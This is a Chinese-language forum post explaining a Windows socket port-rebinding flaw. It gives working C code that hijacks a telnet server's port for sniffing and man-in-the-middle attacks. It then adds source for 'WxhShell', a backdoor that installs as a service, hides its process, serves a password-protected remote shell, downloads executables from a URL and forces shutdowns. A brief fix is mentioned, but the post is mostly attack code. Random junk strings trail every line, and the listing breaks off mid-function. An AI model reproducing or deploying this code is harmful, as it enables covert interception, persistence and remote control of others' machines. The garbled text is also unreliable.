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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2x0[@cT i?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r'"H8>UZ%  
%1S;y  
  saddr.sin_family = AF_INET; (2 X`imJ  
tONxV`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); v]BN.SHE_  
`uY77co6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (c_E*>c)  
! fY'^Ya?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :9 .ik  
t!v#rn[  
  这意味着什么?意味着可以进行如下的攻击: ]wZG4A  
PXWBc\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0P z"[  
2 g,UdG  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) yy@g=<okt\  
I;9>$?t[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 cZi/bIh  
qn:3s  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +eQg+@u  
SD |5v*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *1|&uE&_R  
~'n3],o?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 f/aSqhAW  
a(QYc?u  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 w(0's'  
h?jKq2`  
  #include cE'MSB  
  #include pwr,rAJ}$j  
  #include z^bv)u  
  #include    *Mk5*_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   NvY%sx,  
  int main() X&b)E0]pR  
  { um~U_&>  
  WORD wVersionRequested; T|[zk.8=E  
  DWORD ret; h{#Hwp  
  WSADATA wsaData; [WW3'= e^  
  BOOL val; A@4sb W_  
  SOCKADDR_IN saddr; /3{jeU.k  
  SOCKADDR_IN scaddr; .*+%-%CbP  
  int err; {94qsVxQZ  
  SOCKET s; [7 oU =  
  SOCKET sc; )cxLpTr  
  int caddsize; K_;'-B  
  HANDLE mt; ]y:2OP  
  DWORD tid;   +/E`u|%|\]  
  wVersionRequested = MAKEWORD( 2, 2 ); 1%g%I8W%  
  err = WSAStartup( wVersionRequested, &wsaData ); 4CCtLHb  
  if ( err != 0 ) { MF69n,(o  
  printf("error!WSAStartup failed!\n"); i|2CZ  
  return -1; =f4>vo}@k  
  } teIUSB[  
  saddr.sin_family = AF_INET; 8`M) r'5  
   2N B/&60<  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (= #EJB1(  
zT4SI'r?f  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ap,%)on^  
  saddr.sin_port = htons(23); = wEU+R_#o  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _9*3Mr)2N  
  { ^VabXGzo#  
  printf("error!socket failed!\n"); h)7hk*I  
  return -1; =MMU(0 E  
  } zg>4/10P1q  
  val = TRUE; O7vJ`K(!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 h'%iY6!fA  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _[M*o0[@W  
  { Qu]F<H*Y|  
  printf("error!setsockopt failed!\n"); ;&=c@>!xP#  
  return -1; vuN!7*d+  
  } :Aq==N_/2  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4E:kDl*@  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 NpqK+GO  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 hUR>NUK@8  
w8~B@}%  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) FK ? g  
  { +9yV'd>U  
  ret=GetLastError(); v@n0ma=  
  printf("error!bind failed!\n"); d>k)aIYp  
  return -1; !'#Y-"=ypk  
  } [ 'aSPA  
  listen(s,2); o>~xrV`E  
  while(1) m}`!FaB #  
  { nz+k ,  
  caddsize = sizeof(scaddr); nymro[@O~  
  //接受连接请求 N #C,q&;  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 'qoDFR\v  
  if(sc!=INVALID_SOCKET) ol#| .a2O  
  { tg5G`P5PJ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~IQ3B $4H&  
  if(mt==NULL) {XR 3L'X  
  { NW?.Ge.!P  
  printf("Thread Creat Failed!\n"); -0P(lkylf  
  break; <+3-(&  
  } u]`ur#_  
  } QTe>EJ12  
  CloseHandle(mt); "Zr+>a  
  } !N"Y  
  closesocket(s); C[c^zn  
  WSACleanup(); 8>4@g!9E  
  return 0; \A#YL1hh  
  }   Ah#bj8}  
  DWORD WINAPI ClientThread(LPVOID lpParam) #"&<^  
  { 0[L)`7  
  SOCKET ss = (SOCKET)lpParam; Wks?9 )Is  
  SOCKET sc; LKX; ^  
  unsigned char buf[4096]; 5-[bdI  
  SOCKADDR_IN saddr; >oYr=O  
  long num; *gGL5<%T:  
  DWORD val; VelR8tjP  
  DWORD ret; ais@|s;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 crvq]J5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <?h,;]U  
  saddr.sin_family = AF_INET; dAba'|Y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $-4 Zi  
  saddr.sin_port = htons(23); A*x3O%zH  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `bAOhaB,/  
  { 25R6>CXsi  
  printf("error!socket failed!\n"); #]SiS2lM#  
  return -1; J!+)v  
  } 'cgB$:T}.,  
  val = 100; YZ\a#s ,0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4;;K1< 1  
  { P[q 'Y^\  
  ret = GetLastError(); OK8|w]-A  
  return -1; =hAH6C  
  } fY|P+{BO2  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VV'*3/I  
  { e<Bw duy  
  ret = GetLastError(); og$%`o:{  
  return -1; jXH?os%  
  } 1^v?Ly8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <<vT"2Q]  
  { {BI5lvx:  
  printf("error!socket connect failed!\n"); :@oy5zib  
  closesocket(sc); i!KZg74V  
  closesocket(ss); + $Yld{i  
  return -1; F<9S,  
  } IVY{N/ 3|  
  while(1) 3q}fDM(@J  
  { rb_FBa%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 zt3y5'Nk  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1w~@'ZyU  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 I%?ia5]H  
  num = recv(ss,buf,4096,0); wgPkSsuBuC  
  if(num>0) !8jr $  
  send(sc,buf,num,0); N.1 @!\z@@  
  else if(num==0) ps@;Z ?Q  
  break; 1&2X*$]y  
  num = recv(sc,buf,4096,0); ?7|6jTIs  
  if(num>0) ]ucz8('  
  send(ss,buf,num,0); X}5}M+'~  
  else if(num==0) L kK# =v  
  break; ;}W-9=81  
  } a9%^Jvm"  
  closesocket(ss); HAca'!p  
  closesocket(sc); &Cykw$s  
  return 0 ; _$vAitUe4S  
  } B&},W*p  
{vf4l4J(  
^1 U<,<  
========================================================== OL0W'C9oA  
ibj3i7G?  
下边附上一个代码,,WXhSHELL L `6 R  
#)7THx/=  
========================================================== "I}]]?y  
+=o?&  
#include "stdafx.h" -1z<,IN+  
)}|b6{{<  
#include <stdio.h> 552yzn1  
#include <string.h> tgpg  
#include <windows.h> c7~>uNgJ  
#include <winsock2.h> @w[2 BaDt  
#include <winsvc.h> drkY~!a  
#include <urlmon.h> bw[s<z|LKA  
9L+g;Js$4  
#pragma comment (lib, "Ws2_32.lib") sgxD5xj}4  
#pragma comment (lib, "urlmon.lib") zQ>|`0&8   
r!C#PiT}I  
#define MAX_USER   100 // 最大客户端连接数 YYs/r  
#define BUF_SOCK   200 // sock buffer  HQ0fY  
#define KEY_BUFF   255 // 输入 buffer 2Y-NxW^]  
}j\_XaB  
#define REBOOT     0   // 重启 y} W-OLE  
#define SHUTDOWN   1   // 关机 a 9H^e<g  
;jZf VRl  
#define DEF_PORT   5000 // 监听端口 E(p*B8d  
:d{-"RAG"  
#define REG_LEN     16   // 注册表键长度 !M*$p Qi}  
#define SVC_LEN     80   // NT服务名长度 XI/LVP,.  
=bgu2#%Z  
// 从dll定义API X8uAwHa6F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y(92Th$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 81jVjf?`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); GFX$vn-/F  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A^3M~  
I/vQP+w O  
// wxhshell配置信息  ze_q+Z  
struct WSCFG { 8G<{L0J%!  
  int ws_port;         // 监听端口 /$Ca }>  
  char ws_passstr[REG_LEN]; // 口令 e]Q bC "  
  int ws_autoins;       // 安装标记, 1=yes 0=no L!l`2[F|  
  char ws_regname[REG_LEN]; // 注册表键名 lk/[xQ/  
  char ws_svcname[REG_LEN]; // 服务名 XhEJF !  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vlSSw+r9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 BSd\Sg4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QHmF,P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )&pcRFl  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" HCIS4}lQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aFf(m-  
Nfo`Q0\[P  
}; G.l ~!;  
xk\n F0z  
// default Wxhshell configuration H7Y :l0b  
struct WSCFG wscfg={DEF_PORT, 0~( f<:  
    "xuhuanlingzhe", 8nKb mjM  
    1, d:&=|kKw  
    "Wxhshell", cy{ ado2  
    "Wxhshell", ?VRf5 Cr-  
            "WxhShell Service", M:/)|fk  
    "Wrsky Windows CmdShell Service", wRsh@I<  
    "Please Input Your Password: ", Mep ct  
  1, q!!gn1PT(T  
  "http://www.wrsky.com/wxhshell.exe", M9ACaf@  
  "Wxhshell.exe" }Y`D^z~  
    }; ?j^:jV  
[==x4N b  
// 消息定义模块 ~[ZRE @  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3<A$lG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qC4Q+"'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `-)Hot)  
char *msg_ws_ext="\n\rExit."; 1n-+IR"  
char *msg_ws_end="\n\rQuit."; HB:VpNFn  
char *msg_ws_boot="\n\rReboot..."; A(v5VvgZE  
char *msg_ws_poff="\n\rShutdown..."; C>~ms2c  
char *msg_ws_down="\n\rSave to "; !L?diR  
HpGI\s  
char *msg_ws_err="\n\rErr!"; Zv|TvlyT"  
char *msg_ws_ok="\n\rOK!"; (Rs052m1  
K}a3Bj,  
char ExeFile[MAX_PATH]; (JI[y"2  
int nUser = 0;  J]4pPDm  
HANDLE handles[MAX_USER]; <%b a 3<sg  
int OsIsNt; 8lZB3p]X  
@F/yc  
SERVICE_STATUS       serviceStatus; t4[<N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; NDYm7X*et  
\\iX9-aI<  
// 函数声明 cD JeYduK  
int Install(void); `c.P`@KA  
int Uninstall(void); {[:]}m(c  
int DownloadFile(char *sURL, SOCKET wsh); F`8B PWUY  
int Boot(int flag); rZ:-%#Q4  
void HideProc(void); 8kYI ~  
int GetOsVer(void); DU|>zO%  
int Wxhshell(SOCKET wsl); AU3>v  
void TalkWithClient(void *cs); W:S?_JM  
int CmdShell(SOCKET sock); zkb[u"  
int StartFromService(void); mO8E-D*3  
int StartWxhshell(LPSTR lpCmdLine); ?&_u$Nn  
sp8P[W1a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); eFXQ~~gOj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S!6 ? b5  
0 qp Pz|h  
// 数据结构和表定义 ^+k~{F,)  
SERVICE_TABLE_ENTRY DispatchTable[] = #Mm1yXNu  
{ /#-zI#iK  
{wscfg.ws_svcname, NTServiceMain}, {NTMvJLm  
{NULL, NULL} D&-cNxh  
}; HD!2|b ~@  
 eo&^~OVT  
// 自我安装 A(}D76o_  
int Install(void) IlfH  
{ k^ Qd%;bdF  
  char svExeFile[MAX_PATH]; Z3qr2/  
  HKEY key; Boj#r ,x  
  strcpy(svExeFile,ExeFile); >hv8zHOO:  
?)V|L~/  
// 如果是win9x系统,修改注册表设为自启动 <s wfYT!N  
if(!OsIsNt) { kK%@cIXS3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CAbR+ y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q5#6PYIq  
  RegCloseKey(key); tFvXVfml  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6^NL>|?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8k9Yoht  
  RegCloseKey(key); FT[of(g^  
  return 0; Y{7)$'At  
    } kps}i~Jb  
  } |YcYWok  
} !$pnE:K  
else { i#K Y'"P  
*6/OLAkyF  
// 如果是NT以上系统,安装为系统服务 8/"R&yAh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); WbJ  
if (schSCManager!=0) JJ4w]Dd4  
{ 7!PU}[:  
  SC_HANDLE schService = CreateService +. tcEbFL  
  ( 5a%i%+;N  
  schSCManager, ]QSQr *  
  wscfg.ws_svcname, ap wA  
  wscfg.ws_svcdisp, +N2R'Phv  
  SERVICE_ALL_ACCESS, WGA"e   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Nz;f| 2h  
  SERVICE_AUTO_START, L2> )HG  
  SERVICE_ERROR_NORMAL, [pX cKN  
  svExeFile, w:h([q4X  
  NULL, ,u S)N6'b6  
  NULL, THy{r_dx  
  NULL, '4)4*3z,  
  NULL, ,Q,3^v-  
  NULL bZ[ay-f6oK  
  ); 'b:UafV  
  if (schService!=0) 4Hq6nT/  
  { bPA1>p7  
  CloseServiceHandle(schService); mt\pndTy7!  
  CloseServiceHandle(schSCManager); fRK=y+gl@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); KMP[Ledr  
  strcat(svExeFile,wscfg.ws_svcname); auHP^O> 4L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0w!:YB,}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *0/%R{+S  
  RegCloseKey(key); ;T3}#Q*qC  
  return 0; aE[:9{<|  
    } FV\$M6 _  
  } oD 3Q{ e  
  CloseServiceHandle(schSCManager); ZmaGp* Wj  
} 3B5 `Y  
} iD) P6"  
so_^%) gdJ  
return 1; &I7T ?  
} '<1Q;3Ho  
6F; |x  
// 自我卸载 KvmXRf*z  
int Uninstall(void) HE@P<  
{ 6ANA oWg*  
  HKEY key; A \-r%&.  
9)J)r \  
if(!OsIsNt) { C *]XQ1F4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GzjC;+W  
  RegDeleteValue(key,wscfg.ws_regname); !laOiH  
  RegCloseKey(key); T)mh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { * TByAa{  
  RegDeleteValue(key,wscfg.ws_regname); kb[+II  
  RegCloseKey(key); ,+!|~1  
  return 0; qF4=MQm\aE  
  } %o_CD>yD  
} ;\ gat)0n%  
}  rqEP!S^  
else { "O<TNSbrC  
!m?W+ z~J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cv9-ZOxJ  
if (schSCManager!=0) Xp~O?2:3l  
{ +^3 *Y"6Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )NnkoCNeE  
  if (schService!=0) lin  
  { O5dBI_  
  if(DeleteService(schService)!=0) { (d#W3  
  CloseServiceHandle(schService); qb KcI+)47  
  CloseServiceHandle(schSCManager); YJ{_%z|U  
  return 0; q],/%W  
  } mhMRY9ahB  
  CloseServiceHandle(schService); 4 IXa[xAm  
  } NT<}-^  
  CloseServiceHandle(schSCManager); i+~H~k}"X  
} @T)>akEOt  
} YzYj/,?r  
/Y8{?  
return 1; }u.1$Y  
} A?H.EZ  
%:Y'+!bX  
// 从指定url下载文件 W<M\ b#  
int DownloadFile(char *sURL, SOCKET wsh) #Kt5+"+7  
{ v7mg8'  
  HRESULT hr; uZ+vYF^  
char seps[]= "/"; BV eIj }  
char *token; gPF5|% 3)  
char *file; hEAP,)>F  
char myURL[MAX_PATH]; )]{&  
char myFILE[MAX_PATH]; Q#}c5TjVr  
$}.#0c8I  
strcpy(myURL,sURL); ' eH Fa  
  token=strtok(myURL,seps); M4K>/-9X+V  
  while(token!=NULL) dwz {Yw(  
  { crU]P $a  
    file=token; :JCe,1!3@  
  token=strtok(NULL,seps); ]lA.?  
  } 6B@{X^6y  
rQ&F Gb  
GetCurrentDirectory(MAX_PATH,myFILE); )P9&I.a8  
strcat(myFILE, "\\"); ~}ba2dU8  
strcat(myFILE, file); g&d tOjM  
  send(wsh,myFILE,strlen(myFILE),0); 2qPQ3-'  
send(wsh,"...",3,0); p/Ri|FD6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M][Zu[\*  
  if(hr==S_OK) GL3olKnL  
return 0; ..yLtqos  
else 5 0<  
return 1; !KLY*bt6  
H~~>ut6`  
} ::!{f+Up  
&u0on) E  
// 系统电源模块 s3oQ( wC %  
int Boot(int flag) g/OL ^A  
{ * NdL4c~  
  HANDLE hToken; yYvv!w+@Q  
  TOKEN_PRIVILEGES tkp; ]t;bCD6*  
<26Jif:  
  if(OsIsNt) { zwdi$rM5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q9sxI}D )R  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \O+Hmi^  
    tkp.PrivilegeCount = 1; O*PJr[Zou  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F/U38[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GKf%dK L  
if(flag==REBOOT) { tkf^sGgNO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *Zz hN]1  
  return 0; LAv!s/O$=  
} #i| AE`  
else { o '!WW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5+Hw @CY3  
  return 0; c8M'/{4rH  
} TbR!u:J  
  }  ui1h M  
  else { fC!+"g55  
if(flag==REBOOT) { (zhi/>suG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u;=a=>05IR  
  return 0; xkmqf7w  
} q|kkdK|N/Y  
else { VB@M=ShKK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kUQdi%3yY;  
  return 0; NZt 8L?  
} 0uS6F8x@  
} @ \JoICz  
gBJM|"_A?  
return 1; K)TMr"j\  
} NEcE -7aT  
zn/b\X/  
// win9x进程隐藏模块 Q5/BEUkC  
void HideProc(void) gshgl3   
{ b[ .pD3  
8B|B[,`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [:bYd}J  
  if ( hKernel != NULL ) Oh/2$72  
  { '{:lP"\,L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xQ@gh ( (  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SD=9fh0l  
    FreeLibrary(hKernel); w$[ck=  
  } KU)~p"0[6]  
^fT?(y_= e  
return; *N3X"2X:  
} 'A#F< x  
/|aD,JVN"  
// 获取操作系统版本 %$}* y   
int GetOsVer(void) ljw>[wNv  
{ GB` G(a  
  OSVERSIONINFO winfo; av4g/7=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ip2BvN&  
  GetVersionEx(&winfo); <ly.l]g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [E4#|w  
  return 1; qn#f:xltu  
  else l]KxUkA+  
  return 0; -`} d@x  
} Kf'oXCs  
J?84WS  
// 客户端句柄模块 `HJRXoLySW  
int Wxhshell(SOCKET wsl) 9zD^4j7  
{ a^.5cJ$]  
  SOCKET wsh; f)%8*B  
  struct sockaddr_in client; _Sn7z?  
  DWORD myID; br_D Orq|  
G5'HrV  
  while(nUser<MAX_USER) yfCdK-9+B  
{ <jHo2U8/"s  
  int nSize=sizeof(client); ~91) DNaE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); XonI   
  if(wsh==INVALID_SOCKET) return 1; B3-;]6  
DXc3u^ L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dMjAG7U  
if(handles[nUser]==0) qo62!q  
  closesocket(wsh); M_EXA _  
else g=_@j`  
  nUser++; >Mc,c(CvU  
  } ieG%D HN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pZO`18z  
^Yu%JCN8g  
  return 0; $ru()/pI)z  
} fKjUEMRK  
oJbMUEQQq  
// 关闭 socket ]Z#=w  
void CloseIt(SOCKET wsh) MNZD-[  
{ ~x 0x.-^A  
closesocket(wsh); x,>r}I>^Q  
nUser--; cuW&X9\m,  
ExitThread(0); P *zOt]T  
} X!ad~bt  
9_<>#)u5  
// 客户端请求句柄 tv8}O([  
void TalkWithClient(void *cs) mu#  a  
{ (_$'e%G0  
 2/v9  
  SOCKET wsh=(SOCKET)cs; mq*Efb)!  
  char pwd[SVC_LEN]; (_'Efpg|  
  char cmd[KEY_BUFF]; si.w1  
char chr[1]; yttIA/  
int i,j; tf_<w?~  
J'no{3Kt z  
  while (nUser < MAX_USER) { d-sK{ZC"y  
T`gR&n<D  
if(wscfg.ws_passstr) { XlHt(d0h  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1T@#gE["Ic  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o2#_CdU   
  //ZeroMemory(pwd,KEY_BUFF); ilpP"B  
      i=0; ^ ;XJG9a0\  
  while(i<SVC_LEN) { ?7"6d p_K  
vS_Ji<W~E  
  // 设置超时 v"N%w1`.e  
  fd_set FdRead; qL?`l;+  
  struct timeval TimeOut; |H7f@b]Sk  
  FD_ZERO(&FdRead); uDXRw*rTv  
  FD_SET(wsh,&FdRead); wtpz ef=  
  TimeOut.tv_sec=8; jizp\%W+  
  TimeOut.tv_usec=0; B+8B<xZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SWrP0Qjc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j`A3N7;  
-"Hy%wE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E+xC1U 3  
  pwd=chr[0]; HbXYinG%  
  if(chr[0]==0xd || chr[0]==0xa) { p&|:,|jo5  
  pwd=0; ytg' {)  
  break; c mI&R(  
  } uF89B-t  
  i++; 236,o {9e  
    }  8%W(",nd  
1 /dy@'  
  // 如果是非法用户,关闭 socket "ABg,^jf  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^a+H`RD  
} s 8 c#_  
C`LHFqv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F.[E;gOTo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q"O4}4`  
zEYT,l  
while(1) { mxQPOu  
>^5U XQr  
  ZeroMemory(cmd,KEY_BUFF); Gl@}b\TB  
O ELh6R  
      // 自动支持客户端 telnet标准   ~ M!s0jT  
  j=0; ]= nM|e  
  while(j<KEY_BUFF) { TCI%Ox|a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1P[[PvkD6  
  cmd[j]=chr[0]; /3pvq%i  
  if(chr[0]==0xa || chr[0]==0xd) { jj$D6f/mOG  
  cmd[j]=0; 7g&"clRGO  
  break; oPCtLz}z  
  } x'IYWo ]  
  j++; (_aM26s  
    } gJUawK  
ndCHWhi  
  // 下载文件 *[SOz)  
  if(strstr(cmd,"http://")) { P UJkC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 48 n5Y~YS  
  if(DownloadFile(cmd,wsh)) gc KXda(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >.X& v  
  else ?\7$63gBH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !:<(p  
  } )J<VDO:_YA  
  else { V+'C71-P  
DN%b!K:  
    switch(cmd[0]) { pni*#W*n  
  @W+m;4HH  
  // 帮助 oFC]L1HN&  
  case '?': { :,'yHVG\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H;.${u^lhd  
    break; n 9X:s?B/  
  } Op2@En|d  
  // 安装 #5b}"xK{  
  case 'i': { ZS\~GQbG  
    if(Install()) V^[B=|56  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q]v><  
    else n |e=7?H8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +8#hi5e  
    break; zOfMKrRG  
    } H0P:t(<Gt  
  // 卸载 7)Y0D@wg  
  case 'r': { gf\F%VmSN  
    if(Uninstall()) FT$Z8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e#/SFI0m  
    else 5_ \+8A*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Uxl7O4J@H  
    break; )] C"r_  
    } io1hUZ  
  // 显示 wxhshell 所在路径 AwQ7Oz|(  
  case 'p': { QRL+-)DMc  
    char svExeFile[MAX_PATH]; iu9<]1k  
    strcpy(svExeFile,"\n\r"); 5tG\5  
      strcat(svExeFile,ExeFile); P1>?crw  
        send(wsh,svExeFile,strlen(svExeFile),0); &4R -5i2a  
    break; ]QJWqY  
    } ![l`@NH[U  
  // 重启 @?!&M c2  
  case 'b': { XQhbH^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); i+&o%nK2  
    if(Boot(REBOOT)) =)Z~ w`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $[1J[eY*  
    else { s-"oT=  
    closesocket(wsh); |q+dTy_n  
    ExitThread(0); |[B JZ  
    } 8uD%  
    break; f(Uo?_as  
    } ];63QJU  
  // 关机 'n dXM   
  case 'd': { Fd(o8z8Q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %~$coZY^  
    if(Boot(SHUTDOWN)) kx.8VUoM V  
